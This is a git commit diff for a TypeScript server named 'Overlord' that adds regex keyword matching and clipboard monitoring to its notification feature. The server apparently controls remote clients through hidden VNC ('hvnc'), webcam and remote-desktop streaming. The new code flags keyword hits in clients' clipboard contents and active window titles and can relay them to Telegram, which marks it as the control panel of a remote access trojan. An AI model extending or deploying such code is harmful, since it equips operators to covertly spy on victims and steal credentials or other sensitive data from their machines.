add regex support and clipboard support to notification center

This commit is contained in:
KingKDot
2026-03-18 23:46:44 -05:00
parent a73707c930
commit 6c7a71533c
15 changed files with 295 additions and 31 deletions
+6
View File
@@ -39,6 +39,7 @@ export interface Config {
telegramEnabled: boolean;
telegramBotToken: string;
telegramChatId: string;
clipboardEnabled: boolean;
};
security: {
sessionTtlHours: number;
@@ -88,6 +89,7 @@ const DEFAULT_CONFIG: Config = {
telegramEnabled: false,
telegramBotToken: "",
telegramChatId: "",
clipboardEnabled: false,
},
security: {
sessionTtlHours: 168,
@@ -366,6 +368,10 @@ export function loadConfig(): Config {
process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
fileConfig.notifications?.telegramChatId ||
DEFAULT_CONFIG.notifications.telegramChatId,
clipboardEnabled:
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
fileConfig.notifications?.clipboardEnabled ||
DEFAULT_CONFIG.notifications.clipboardEnabled,
},
security: {
sessionTtlHours:
+2
View File
@@ -35,6 +35,7 @@ export type HelloAck = {
notification?: {
keywords: string[];
minIntervalMs?: number;
clipboardEnabled?: boolean;
};
};
export type Ping = { type: "ping"; ts?: number };
@@ -271,6 +272,7 @@ export type NotificationConfig = {
type: "notification_config";
keywords: string[];
minIntervalMs?: number;
clipboardEnabled?: boolean;
};
export type WireMessage =
@@ -100,6 +100,35 @@ export async function handleNotificationsConfigRoutes(
.filter(Boolean)
.slice(0, 200);
for (const kw of keywords) {
if (kw.startsWith("/")) {
const lastSlash = kw.lastIndexOf("/", kw.length - 1);
if (lastSlash <= 0) {
return Response.json(
{ error: `Invalid regex keyword (missing closing /): ${kw}` },
{ status: 400 },
);
}
const pattern = kw.slice(1, lastSlash);
const flags = kw.slice(lastSlash + 1);
const invalidFlags = flags.replace(/[gimsuy]/g, "");
if (invalidFlags.length > 0) {
return Response.json(
{ error: `Invalid regex flags '${invalidFlags}' in keyword: ${kw}` },
{ status: 400 },
);
}
try {
new RegExp(pattern, flags);
} catch (e: any) {
return Response.json(
{ error: `Invalid regex in keyword '${kw}': ${e?.message ?? e}` },
{ status: 400 },
);
}
}
}
const webhookEnabled =
typeof body?.webhookEnabled === "boolean"
? body.webhookEnabled
@@ -120,6 +149,10 @@ export async function handleNotificationsConfigRoutes(
typeof body?.telegramChatId === "string"
? body.telegramChatId.trim()
: currentConfig.telegramChatId || "";
const clipboardEnabled =
typeof body?.clipboardEnabled === "boolean"
? body.clipboardEnabled
: currentConfig.clipboardEnabled || false;
if (webhookUrl) {
try {
@@ -142,6 +175,7 @@ export async function handleNotificationsConfigRoutes(
telegramEnabled,
telegramBotToken,
telegramChatId,
clipboardEnabled,
});
for (const client of clientManager.getAllClients().values()) {
@@ -152,6 +186,7 @@ export async function handleNotificationsConfigRoutes(
type: "notification_config",
keywords: updated.keywords || [],
minIntervalMs: updated.minIntervalMs || 8000,
clipboardEnabled: updated.clipboardEnabled || false,
}),
);
} catch {}
@@ -31,7 +31,7 @@ type WsLifecycleDeps = {
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -121,6 +121,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
notification: {
keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000,
clipboardEnabled: notificationConfig.clipboardEnabled || false,
},
}),
);
@@ -19,7 +19,7 @@ type NotificationRecord = {
processPath?: string;
pid?: number;
keyword?: string;
category: "active_window";
category: "active_window" | "clipboard";
ts: number;
screenshotId?: string;
};
@@ -210,7 +210,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return;
}
const info = clientManager.getClient(clientId);
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`);
const category: "active_window" | "clipboard" =
payload.category === "clipboard" ? "clipboard" : "active_window";
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`);
const record: NotificationRecord = {
id: uuidv4(),
clientId,
@@ -222,7 +224,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
pid: Number(payload.pid) || undefined,
keyword,
category: "active_window",
category,
ts,
};